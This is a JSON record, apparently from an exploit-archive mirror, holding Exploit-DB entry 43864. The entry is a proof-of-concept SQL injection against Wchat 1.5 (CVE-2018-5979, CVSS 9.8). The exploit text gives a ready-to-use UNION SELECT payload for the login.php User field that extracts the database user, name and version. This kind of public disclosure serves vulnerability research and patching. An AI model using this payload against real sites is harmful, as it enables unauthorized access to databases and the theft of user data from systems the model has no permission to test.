{"exploit":{"id":"EDB-43864","name":"Wchat 1.5 - SQL Injection (SQLi)","description":"Wchat 1.5 - SQL Injection (SQLi)","cves":["CVE-2018-5979"],"author":"Ihsan Sencan","published":"2018-01-23","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/43864","path":"exploits/php/webapps/43864.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-43864.txt","vulnerabilities":[{"id":"CVE-2018-5979","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL Injection exists in Wchat Fully Responsive PHP AJAX Chat Script 1.5 via the login.php User field.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-5979","cvss":{"version":"3.0","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-5979"},"updatedAt":"2024-08-05T05:47:56.165Z","retrievedAt":"2026-11-27T05:07:38.759Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-43864.png?v=2","url":"https://exploitbin.com/exploits/EDB-43864","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-43864/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-43864/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# # # # #\n# Exploit Title: Wchat - Fully Responsive PHP AJAX Chat Script 1.5 - SQL Injection\n# Dork: N/A\n# Date: 23.01.2018\n# Vendor Homepage: http://bylancer.com/\n# Software Link: https://codecanyon.net/item/wchat-fully-responsive-phpajax-chat/18047319\n# Version: 1.5\n# Category: Webapps\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: CVE-2018-5979\n# # # # #\n# Exploit Author: Ihsan Sencan\n# Author Web: http://ihsan.net\n# Author Social: @ihsansencan\n# # # # #\n# Description:\n# The vulnerability allows an attacker to inject sql commands....\n#\n# Proof of Concept:\n#\n# 1)\n# http://localhost/[PATH]/login.php\n#\n# User: ' UNION ALL SELECT 0x31,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),0x33,0x34-- XXX\n# Pass: anything\n#\n# # # # #","sha256":"2a348f7f2dedbeb7738472ce29c850bf7f70bfcc22be2cd54153f48cfd2db536","bytes":730,"fetchedAt":"2026-11-27T05:07:31.866Z","encoding":"utf-8 (display only; download retains original bytes)"}